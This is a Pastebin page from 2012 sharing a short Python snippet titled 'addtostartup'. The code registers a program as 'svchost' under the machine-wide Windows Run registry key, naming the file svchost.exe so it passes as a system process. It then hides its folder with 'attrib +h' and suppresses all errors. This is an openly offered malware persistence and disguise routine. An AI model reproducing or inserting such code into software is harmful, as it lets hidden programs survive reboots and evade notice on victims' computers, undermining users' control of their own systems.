Advertisement
infodox

addtostartup - python

Apr 17th, 2012
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.45 KB | None | 0 0
  1. try:
  2.     hiddenPath = os.getcwd()
  3.     hiddenPath = '\"' + hiddenPath + '\"'
  4.     regPath = os.getcwd()
  5.     regPath = regPath + r"\svchost.exe"
  6.     regPath = '\"' + regPath + '\"'
  7.     regConnect = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
  8.     regKey = OpenKey(regConnect, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
  9.  
  10.     SetValueEx(regKey,"svchost",0, REG_SZ, r"" + regPath)
  11.     os.system("attrib +h " + hiddenPath)
  12. except:
  13.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement